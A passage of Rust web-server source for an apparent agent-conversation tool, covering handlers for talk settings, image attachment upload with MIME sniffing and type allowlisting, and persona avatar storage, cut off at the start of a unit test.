8235 let mut talk = ui.talks.get(&id)?;
8236 if !talk.status.open() {
8237 return Err(ApiError::conflict(format!(
8238 "talk {} is {} and takes no more turns",
8239 talk.short(),
8240 talk.status.as_str()
8241 )));
8242 }
8243 if !talk::edit_pending_message(
8244 &mut talk,
8245 &ui.talks,
8246 &body.text,
8247 &body.expected_text,
8248 &body.expected_attachments,
8249 body.message,
8250 )? {
8251 return Err(ApiError::conflict(
8252 "queued message changed; reload it before editing",
8253 ));
8254 }
8255 let claim = match ui.begin_queued_talk_turn(&id)? {
8256 Some(turn_guard) => {
8257 let (cfg, _) = Config::discover(&talk.repo, None)?;
8258 Some((talk.clone(), cfg, id.clone(), turn_guard))
8259 }
8260 None => None,
8261 };
8262 let thinking = ui.is_thinking(&id);
8263 Ok((TalkView::new(talk, thinking, &ui), claim))
8264 }
8265 })
8266 .await?;
8267 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8268 let talks = ui.talks.clone();
8269 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8270 }
8271 Ok(Json(view))
8272}
8273
8274fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8276 if talk.status.open() {
8277 return Ok(());
8278 }
8279 Err(ApiError::conflict(format!(
8280 "talk {} is {} and takes no more turns",
8281 talk.short(),
8282 talk.status.as_str()
8283 )))
8284}
8285
8286#[derive(Debug, Deserialize)]
8288struct TalkAgent {
8289 agent: String,
8290}
8291
8292async fn talk_agent(
8297 State(ui): State<Arc<Ui>>,
8298 Path(id): Path<String>,
8299 Json(body): Json<TalkAgent>,
8300) -> ApiResult<Json<TalkView>> {
8301 let id = {
8302 let ui = Arc::clone(&ui);
8303 blocking(move || resolve_talk(&ui.talks, &id)).await?
8304 };
8305 let repo = {
8306 let ui = Arc::clone(&ui);
8307 let id = id.clone();
8308 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8309 };
8310 let cfg = config_for(&repo).await?;
8311 {
8313 let ui = Arc::clone(&ui);
8314 let id = id.clone();
8315 let cfg = cfg.clone();
8316 let wanted = body.agent.clone();
8317 blocking(move || {
8318 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8319 .map_err(ApiError::bad_request_from)?;
8320 refuse_if_closed(&ui.talks.get(&id)?)
8321 })
8322 .await?;
8323 }
8324 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8325 return Err(ApiError::conflict(
8326 "a talk turn is running; change the agent once it has answered",
8327 ));
8328 };
8329 let switched = {
8330 let ui = Arc::clone(&ui);
8331 let id = id.clone();
8332 let cfg = cfg.clone();
8333 blocking(move || {
8334 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8335 .map_err(ApiError::bad_request_from)?;
8336 let mut talk = ui.talks.get(&id)?;
8337 if !talk.status.open() {
8338 return Err(ApiError::conflict(format!(
8339 "talk {} is {} and takes no more turns",
8340 talk.short(),
8341 talk.status.as_str()
8342 )));
8343 }
8344 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8345 Ok(talk)
8346 })
8347 .await
8348 };
8349 let observed = ui.queued_generation(&id);
8354 let fresh = {
8355 let ui = Arc::clone(&ui);
8356 let id = id.clone();
8357 blocking(move || Ok(ui.talks.get(&id)?)).await
8358 };
8359 let draining = match fresh {
8360 Ok(talk) => {
8361 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8362 }
8363 Err(_) => false,
8364 };
8365 let talk = switched?;
8366 Ok(Json(TalkView::new(talk, draining, &ui)))
8367}
8368
8369#[derive(Debug, Deserialize)]
8371struct TalkPersona {
8372 persona: String,
8373}
8374
8375async fn talk_persona(
8379 State(ui): State<Arc<Ui>>,
8380 Path(id): Path<String>,
8381 Json(body): Json<TalkPersona>,
8382) -> ApiResult<Json<TalkView>> {
8383 let id = {
8384 let ui = Arc::clone(&ui);
8385 blocking(move || resolve_talk(&ui.talks, &id)).await?
8386 };
8387 let repo = {
8388 let ui = Arc::clone(&ui);
8389 let id = id.clone();
8390 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8391 };
8392 let cfg = config_for(&repo).await?;
8393 {
8395 let ui = Arc::clone(&ui);
8396 let id = id.clone();
8397 let cfg = cfg.clone();
8398 let wanted = body.persona.clone();
8399 blocking(move || {
8400 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8401 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8402 }
8403 refuse_if_closed(&ui.talks.get(&id)?)
8404 })
8405 .await?;
8406 }
8407 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8408 return Err(ApiError::conflict(
8409 "a talk turn is running; change the persona once it has answered",
8410 ));
8411 };
8412 let switched = {
8413 let ui = Arc::clone(&ui);
8414 let id = id.clone();
8415 let cfg = cfg.clone();
8416 blocking(move || {
8417 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8418 return Err(ApiError::bad_request(format!(
8419 "unknown persona `{}`",
8420 body.persona
8421 )));
8422 };
8423 let mut talk = ui.talks.get(&id)?;
8424 if !talk.status.open() {
8425 return Err(ApiError::conflict(format!(
8426 "talk {} is {} and takes no more turns",
8427 talk.short(),
8428 talk.status.as_str()
8429 )));
8430 }
8431 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8432 Ok(talk)
8433 })
8434 .await
8435 };
8436 let observed = ui.queued_generation(&id);
8438 let fresh = {
8439 let ui = Arc::clone(&ui);
8440 let id = id.clone();
8441 blocking(move || Ok(ui.talks.get(&id)?)).await
8442 };
8443 let draining = match fresh {
8444 Ok(talk) => {
8445 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8446 }
8447 Err(_) => false,
8448 };
8449 let talk = switched?;
8450 Ok(Json(TalkView::new(talk, draining, &ui)))
8451}
8452
8453#[derive(Debug, Deserialize)]
8455struct TalkImplementers {
8456 implementers: u8,
8457}
8458
8459async fn talk_implementers(
8463 State(ui): State<Arc<Ui>>,
8464 Path(id): Path<String>,
8465 Json(body): Json<TalkImplementers>,
8466) -> ApiResult<Json<TalkView>> {
8467 let id = {
8468 let ui = Arc::clone(&ui);
8469 blocking(move || resolve_talk(&ui.talks, &id)).await?
8470 };
8471 let repo = {
8472 let ui = Arc::clone(&ui);
8473 let id = id.clone();
8474 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8475 };
8476 let cfg = config_for(&repo).await?;
8477 {
8482 let ui = Arc::clone(&ui);
8483 let id = id.clone();
8484 let cfg = cfg.clone();
8485 let wanted = body.implementers;
8486 blocking(move || {
8487 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8488 refuse_if_closed(&ui.talks.get(&id)?)
8489 })
8490 .await?;
8491 }
8492 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8493 return Err(ApiError::conflict(
8494 "a talk turn is running; change the implementers once it has answered",
8495 ));
8496 };
8497 let switched = {
8498 let ui = Arc::clone(&ui);
8499 let id = id.clone();
8500 let cfg = cfg.clone();
8501 blocking(move || {
8502 let chosen =
8503 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8504 let mut talk = ui.talks.get(&id)?;
8505 if !talk.status.open() {
8506 return Err(ApiError::conflict(format!(
8507 "talk {} is {} and takes no more turns",
8508 talk.short(),
8509 talk.status.as_str()
8510 )));
8511 }
8512 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8513 Ok(talk)
8514 })
8515 .await
8516 };
8517 let observed = ui.queued_generation(&id);
8519 let fresh = {
8520 let ui = Arc::clone(&ui);
8521 let id = id.clone();
8522 blocking(move || Ok(ui.talks.get(&id)?)).await
8523 };
8524 let draining = match fresh {
8525 Ok(talk) => {
8526 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8527 }
8528 Err(_) => false,
8529 };
8530 let talk = switched?;
8531 Ok(Json(TalkView::new(talk, draining, &ui)))
8532}
8533
8534async fn talk_close(
8536 State(ui): State<Arc<Ui>>,
8537 Path(id): Path<String>,
8538) -> ApiResult<Json<TalkView>> {
8539 blocking(move || {
8540 let id = resolve_talk(&ui.talks, &id)?;
8541 let mut talk = ui.talks.get(&id)?;
8542 talk::close(&mut talk, &ui.talks)?;
8543 let thinking = ui.is_thinking(&talk.id);
8544 Ok(Json(TalkView::new(talk, thinking, &ui)))
8545 })
8546 .await
8547}
8548
8549async fn talk_reopen(
8551 State(ui): State<Arc<Ui>>,
8552 Path(id): Path<String>,
8553) -> ApiResult<Json<TalkView>> {
8554 blocking(move || {
8555 let id = resolve_talk(&ui.talks, &id)?;
8556 let mut talk = ui.talks.get(&id)?;
8557 talk::reopen(&mut talk, &ui.talks)?;
8558 let thinking = ui.is_thinking(&talk.id);
8559 Ok(Json(TalkView::new(talk, thinking, &ui)))
8560 })
8561 .await
8562}
8563
8564async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8574 blocking(move || {
8575 let id = resolve_talk(&ui.talks, &id)?;
8576 ui.talks.remove(&id)?;
8577 Ok(StatusCode::NO_CONTENT)
8578 })
8579 .await
8580}
8581
8582fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8584 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8585}
8586
8587async fn talk_attachment_post(
8590 State(ui): State<Arc<Ui>>,
8591 Path(id): Path<String>,
8592 headers: HeaderMap,
8593 body: Bytes,
8594) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8595 let mime = validate_attachment(&headers, &body)?;
8596 let name = filename_header(&headers);
8597 let data = body.to_vec();
8598 blocking(move || {
8599 let id = resolve_talk(&ui.talks, &id)?;
8600 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8601 Ok((StatusCode::CREATED, Json(att)))
8602 })
8603 .await
8604}
8605
8606async fn talk_attachment_get(
8609 State(ui): State<Arc<Ui>>,
8610 Path((id, att)): Path<(String, String)>,
8611) -> ApiResult<Response> {
8612 blocking(move || {
8613 let id = resolve_talk(&ui.talks, &id)?;
8614 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8615 return Err(ApiError::not_found(format!(
8616 "talk {id} has no attachment `{att}`"
8617 )));
8618 };
8619 Ok(attachment_response(&meta.mime, data))
8620 })
8621 .await
8622}
8623
8624fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
8627 let id = avatar_encode(&p.id);
8628 format!(
8629 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8630 persona_icon::fingerprint(
8631 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
8632 )
8633 )
8634}
8635
8636#[derive(Debug, Default, Deserialize)]
8637struct AvatarQuery {
8638 persona: Option<String>,
8639 builtin: Option<String>,
8641}
8642
8643const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8645
8646fn builtin_avatar(id: &str) -> Response {
8647 svg_avatar(persona_icon::builtin_svg(id))
8648}
8649
8650async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8651 raster_or_builtin(
8652 read_icon_file(&avatar_setting_path(&ui.home, None))
8653 .filter(|_| q.builtin.is_none())
8654 .as_deref(),
8655 persona_icon::operator_svg(),
8656 )
8657}
8658
8659fn svg_avatar(svg: &'static str) -> Response {
8660 (
8661 [
8662 (header::CONTENT_TYPE, "image/svg+xml"),
8663 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8664 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8665 (header::CACHE_CONTROL, "no-cache"),
8666 ],
8667 svg,
8668 )
8669 .into_response()
8670}
8671
8672fn avatar_encode(value: &str) -> String {
8673 value
8674 .bytes()
8675 .map(|b| {
8676 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8677 char::from(b).to_string()
8678 } else {
8679 format!("%{b:02X}")
8680 }
8681 })
8682 .collect()
8683}
8684
8685fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
8687 let Some(id) = persona else {
8688 return home.join("avatars/operator.data");
8689 };
8690 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
8691 let mut path = home.join("avatars/personas");
8692 for chunk in encoded.as_bytes().chunks(100) {
8693 path.push(std::str::from_utf8(chunk).expect("hex"));
8694 }
8695 path.join("icon.data")
8696}
8697
8698fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
8699 match read_icon_file(&avatar_setting_path(home, Some(id))) {
8700 Some(value) if value == "builtin" => Some(String::new()),
8701 Some(value) => Some(value),
8702 None => configured.map(str::to_owned),
8703 }
8704}
8705
8706fn operator_icon_url(home: &FsPath) -> String {
8707 format!(
8708 "/avatars/operator.svg?v={}",
8709 persona_icon::fingerprint(
8710 read_icon_file(&avatar_setting_path(home, None))
8711 .as_deref()
8712 .or(Some(persona_icon::operator_svg()))
8713 )
8714 )
8715}
8716
8717fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
8718 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
8719 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8720 attachment_response(mime, bytes)
8721 }
8722 _ => svg_avatar(builtin),
8723 };
8724 response
8725 .headers_mut()
8726 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8727 response
8728}
8729
8730#[derive(Default, Deserialize)]
8731struct AvatarSettingsQuery {
8732 repo: Option<PathBuf>,
8733 persona: Option<String>,
8734 builtin: Option<String>,
8735 inherit: Option<String>,
8736}
8737
8738fn avatar_settings_specs(
8739 ui: &Ui,
8740 repo: Option<PathBuf>,
8741) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
8742 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
8743 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
8744 .map(|cfg| cfg.talk.personas)
8745 .unwrap_or_default();
8746 Ok((repo, specs))
8747}
8748
8749fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
8750 let Ok(entries) = std::fs::read_dir(path) else {
8751 return;
8752 };
8753 for entry in entries.flatten() {
8754 let name = entry.file_name().to_string_lossy().into_owned();
8755 if name == "icon.data" {
8756 let bytes: Option<Vec<u8>> = prefix
8757 .as_bytes()
8758 .chunks(2)
8759 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
8760 .collect();
8761 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
8762 out.push(id);
8763 }
8764 } else if name.len() <= 100
8765 && !name.is_empty()
8766 && name.bytes().all(|b| b.is_ascii_hexdigit())
8767 && entry.file_type().is_ok_and(|t| t.is_dir())
8768 {
8769 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
8770 }
8771 }
8772}
8773
8774async fn avatar_settings_get(
8775 State(ui): State<Arc<Ui>>,
8776 Query(q): Query<AvatarSettingsQuery>,
8777) -> ApiResult<Json<serde_json::Value>> {
8778 blocking(move || {
8779 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
8780 let mut catalog = persona::catalog(&specs);
8781 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
8782 let mut saved = Vec::new();
8783 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
8784 for id in saved {
8785 if !catalog.iter().any(|p| p.id == id) {
8786 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
8787 }
8788 }
8789 let personas: Vec<_> = catalog.iter().map(|p| {
8790 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
8791 let override_state = match saved.as_deref() {
8792 Some("builtin") => "builtin",
8793 Some(_) => "custom",
8794 None => "inherit",
8795 };
8796 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
8797 serde_json::json!({"id":p.id,"name":p.name,
8798 "override_state":override_state,"has_config_icon":p.icon.is_some(),
8799 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
8800 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
8801 }).collect();
8802 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
8803 }).await
8804}
8805
8806async fn settings_persona_avatar(
8807 State(ui): State<Arc<Ui>>,
8808 Query(q): Query<AvatarSettingsQuery>,
8809) -> ApiResult<Response> {
8810 blocking(move || {
8811 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
8812 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
8813 let found = persona::find(&specs, id);
8814 let icon =
8815 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
8816 Ok(raster_or_builtin(
8817 icon.as_deref().filter(|_| q.builtin.is_none()),
8818 persona_icon::builtin_svg(id),
8819 ))
8820 })
8821 .await
8822}
8823
8824fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
8825 if q.persona
8826 .as_ref()
8827 .is_some_and(|p| p.is_empty() || p.len() > 4096)
8828 {
8829 return Err(ApiError::bad_request("invalid persona id"));
8830 }
8831 Ok(())
8832}
8833
8834async fn avatar_settings_put(
8835 State(ui): State<Arc<Ui>>,
8836 Query(q): Query<AvatarSettingsQuery>,
8837 Json(upload): Json<MagiIconUpload>,
8838) -> ApiResult<Json<serde_json::Value>> {
8839 blocking(move || {
8840 validate_avatar_target(&q)?;
8841 save_icon_file(
8842 &avatar_setting_path(&ui.home, q.persona.as_deref()),
8843 &upload.icon,
8844 )
8845 .map_err(ApiError::bad_request_from)?;
8846 Ok(Json(serde_json::json!({"saved":true})))
8847 })
8848 .await
8849}
8850
8851async fn avatar_settings_delete(
8852 State(ui): State<Arc<Ui>>,
8853 Query(q): Query<AvatarSettingsQuery>,
8854) -> ApiResult<Json<serde_json::Value>> {
8855 blocking(move || {
8856 validate_avatar_target(&q)?;
8857 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
8858 if q.persona.is_some() && q.inherit.is_none() {
8859 atomic_icon_write(&path, "builtin")?;
8860 } else {
8861 match std::fs::remove_file(path) {
8862 Ok(()) => (),
8863 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8864 Err(e) => return Err(anyhow::Error::from(e).into()),
8865 }
8866 }
8867 Ok(Json(serde_json::json!({"saved":true})))
8868 })
8869 .await
8870}
8871
8872fn magi_icon_path(home: &FsPath) -> PathBuf {
8874 home.join("magi-icon.data")
8875}
8876
8877fn read_magi_icon(home: &FsPath) -> Option<String> {
8878 read_icon_file(&magi_icon_path(home))
8879}
8880
8881fn read_icon_file(path: &FsPath) -> Option<String> {
8882 let metadata = std::fs::metadata(path).ok()?;
8883 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8884 return None;
8885 }
8886 let file = std::fs::File::open(path).ok()?;
8887 use std::io::Read;
8888 let mut text = String::new();
8889 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8890 .read_to_string(&mut text)
8891 .ok()?;
8892 if text.len() > persona_icon::ICON_MAX_BYTES {
8893 return None;
8894 }
8895 if text == "builtin" {
8896 return Some(text);
8897 }
8898 validate_uploaded_icon(&text).ok()?;
8899 Some(text)
8900}
8901
8902fn magi_icon_url(home: &FsPath) -> String {
8903 format!(
8904 "/avatars/magi?v={}",
8905 persona_icon::fingerprint(read_magi_icon(home).as_deref())
8906 )
8907}
8908
8909async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8910 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8911}
8912
8913#[derive(Deserialize)]
8914struct MagiIconUpload {
8915 icon: String,
8916}
8917
8918fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8919 save_icon_file(&magi_icon_path(home), icon)
8920}
8921
8922fn validate_uploaded_icon(icon: &str) -> Result<()> {
8923 if !icon.starts_with("data:") {
8924 anyhow::bail!("upload a raster image");
8925 }
8926 let (mime, bytes) = persona_icon::load(icon)?;
8927 if sniffed_mime(&bytes) != Some(mime) {
8928 anyhow::bail!("image content does not match its type");
8929 }
8930 Ok(())
8931}
8932
8933fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
8934 validate_uploaded_icon(icon)?;
8935 atomic_icon_write(path, icon)
8936}
8937
8938fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
8939 let home = path.parent().expect("icon parent");
8940 std::fs::create_dir_all(home)?;
8941 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8942 let temp = home.join(format!(".magi-icon-{token}.tmp"));
8943 let result = (|| -> Result<()> {
8944 use std::io::Write;
8945 let mut file = std::fs::OpenOptions::new()
8946 .write(true)
8947 .create_new(true)
8948 .open(&temp)?;
8949 file.write_all(icon.as_bytes())?;
8950 file.sync_all()?;
8951 std::fs::rename(&temp, path)?;
8952 Ok(())
8953 })();
8954 let _ = std::fs::remove_file(temp);
8955 result?;
8956 Ok(())
8957}
8958
8959async fn magi_icon_put(
8960 State(ui): State<Arc<Ui>>,
8961 Json(upload): Json<MagiIconUpload>,
8962) -> ApiResult<Json<serde_json::Value>> {
8963 blocking(move || {
8964 if !upload.icon.starts_with("data:") {
8965 return Err(ApiError::bad_request("upload a raster image"));
8966 }
8967 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8968 if sniffed_mime(&bytes) != Some(mime) {
8969 return Err(ApiError::bad_request(
8970 "image content does not match its type",
8971 ));
8972 }
8973 save_magi_icon(&ui.home, &upload.icon)?;
8974 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8975 })
8976 .await
8977}
8978
8979async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8980 blocking(move || {
8981 match std::fs::remove_file(magi_icon_path(&ui.home)) {
8982 Ok(()) => (),
8983 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8984 Err(e) => return Err(anyhow::Error::from(e).into()),
8985 }
8986 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8987 })
8988 .await
8989}
8990
8991async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8992 let icon = (q.builtin.is_none())
8993 .then(|| read_magi_icon(&ui.home))
8994 .flatten();
8995 let mut response = match icon
8996 .as_deref()
8997 .and_then(|icon| persona_icon::load(icon).ok())
8998 {
8999 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9000 attachment_response(mime, bytes)
9001 }
9002 _ => svg_avatar(persona_icon::magi_svg()),
9003 };
9004 response
9005 .headers_mut()
9006 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9007 response
9008}
9009
9010async fn talk_avatar(
9015 State(ui): State<Arc<Ui>>,
9016 Path(id): Path<String>,
9017 Query(q): Query<AvatarQuery>,
9018) -> ApiResult<Response> {
9019 blocking(move || {
9020 let id = resolve_talk(&ui.talks, &id)?;
9021 let talk = ui.talks.get(&id)?;
9022 let wanted = q
9023 .persona
9024 .as_deref()
9025 .map(str::trim)
9026 .filter(|p| !p.is_empty())
9027 .unwrap_or(&talk.persona)
9028 .to_owned();
9029 let specs = match Config::discover(&talk.repo, None) {
9030 Ok((cfg, _)) => cfg.talk.personas,
9031 Err(e) => {
9032 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9033 Vec::new()
9034 }
9035 };
9036 let found = persona::find(&specs, &wanted);
9037 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9039 let icon = effective_persona_icon(
9040 &ui.home,
9041 &wanted,
9042 found.as_ref().and_then(|p| p.icon.as_deref()),
9043 );
9044 if found.is_none() && icon.is_none() {
9045 return Ok(builtin_avatar(persona::DEFAULT_ID));
9046 }
9047 let Some(icon) = icon
9048 .as_deref()
9049 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9050 else {
9051 return Ok(builtin_avatar(&wanted));
9052 };
9053 let Some(found) = found else {
9054 return Ok(raster_or_builtin(
9055 Some(icon),
9056 persona_icon::builtin_svg(&wanted),
9057 ));
9058 };
9059 match persona_icon::load(icon) {
9060 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9061 let mut res = attachment_response(mime, bytes);
9062 res.headers_mut().insert(
9063 header::CACHE_CONTROL,
9064 header::HeaderValue::from_static("no-cache"),
9065 );
9066 Ok(res)
9067 }
9068 Ok((mime, _)) => {
9069 tracing::warn!(
9070 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9071 found.id
9072 );
9073 Ok(builtin_avatar(&found.id))
9074 }
9075 Err(e) => {
9076 tracing::warn!(
9077 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9078 found.id
9079 );
9080 Ok(builtin_avatar(&found.id))
9081 }
9082 }
9083 })
9084 .await
9085}
9086
9087fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9098 if data.len() > ATTACHMENT_MAX_BYTES {
9099 return Err(ApiError::bad_request(format!(
9100 "attachment is {} bytes, over the {} MiB limit",
9101 data.len(),
9102 ATTACHMENT_MAX_BYTES / (1024 * 1024)
9103 ))
9104 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9105 }
9106 if data.is_empty() {
9107 return Err(ApiError::bad_request("attachment is empty"));
9108 }
9109 let declared = declared_mime(headers)?;
9110 match sniffed_mime(data) {
9111 Some(sniffed) if sniffed == declared => Ok(declared),
9112 Some(sniffed) => Err(ApiError::bad_request(format!(
9113 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9114 ))),
9115 None => Err(ApiError::bad_request(
9116 "the file's bytes do not match any accepted image format",
9117 )),
9118 }
9119}
9120
9121fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9125 let raw = headers
9126 .get(header::CONTENT_TYPE)
9127 .and_then(|v| v.to_str().ok())
9128 .unwrap_or("")
9129 .split(';')
9130 .next()
9131 .unwrap_or("")
9132 .trim()
9133 .to_ascii_lowercase();
9134 ATTACHMENT_MIME_WHITELIST
9135 .iter()
9136 .find(|&&m| m == raw)
9137 .copied()
9138 .ok_or_else(|| {
9139 if raw == "image/svg+xml" {
9140 ApiError::bad_request(
9141 "SVG is not accepted: it can carry active content (e.g. a <script>), \
9142 not just a picture",
9143 )
9144 } else if raw.is_empty() {
9145 ApiError::bad_request("Content-Type is required for an attachment upload")
9146 } else {
9147 ApiError::bad_request(format!(
9148 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9149 image/gif or image/webp"
9150 ))
9151 }
9152 })
9153}
9154
9155fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9158 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9159 Some("image/png")
9160 } else if data.starts_with(b"\xff\xd8\xff") {
9161 Some("image/jpeg")
9162 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9163 Some("image/gif")
9164 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
9165 Some("image/webp")
9166 } else {
9167 None
9168 }
9169}
9170
9171fn filename_header(headers: &HeaderMap) -> String {
9177 headers
9178 .get(FILENAME_HEADER)
9179 .and_then(|v| v.to_str().ok())
9180 .map(str::trim)
9181 .filter(|s| !s.is_empty())
9182 .unwrap_or("attachment")
9183 .to_owned()
9184}
9185
9186fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
9193 let content_type = ATTACHMENT_MIME_WHITELIST
9194 .iter()
9195 .find(|&&m| m == mime)
9196 .copied()
9197 .unwrap_or("application/octet-stream");
9198 (
9199 [
9200 (header::CONTENT_TYPE, content_type),
9201 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9202 ],
9203 body,
9204 )
9205 .into_response()
9206}
9207
9208async fn config_for(repo: &FsPath) -> ApiResult<Config> {
9216 let repo = repo.to_path_buf();
9217 blocking(move || {
9218 let (cfg, _) = Config::discover(&repo, None)?;
9219 Ok(cfg)
9220 })
9221 .await
9222}
9223
9224fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
9230 let mut hits = ids
9231 .into_iter()
9232 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
9233 match (hits.next(), hits.next()) {
9234 (Some(one), None) => Ok(one),
9235 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
9236 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
9237 "`{prefix}` matches more than one {what}, including {a} and {b}"
9238 ))),
9239 }
9240}
9241
9242#[cfg(test)]
9243mod tests {
9244
9245 #[test]
9246 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
9247 let dir = tempfile::tempdir().unwrap();
9248 let store = ask::Questions::at(dir.path().join("questions"));
9249 let mut q = Question::new(
9250 "task".to_owned(),
9251 "conduct".to_owned(),
9252 "conduct".to_owned(),
9253 "choose".to_owned(),
9254 String::new(),
9255 vec!["keep".to_owned()],
9256 );
9257 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
9258 q.say("why?").unwrap();
9259 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
9260 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9261 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
9262 store.put(&mut q).unwrap();
9263 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
9264 assert_eq!(store.count_needs_owner(), 1);
9265 store.beat(&q.id, ask::WaiterKind::Deputy);
9266 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
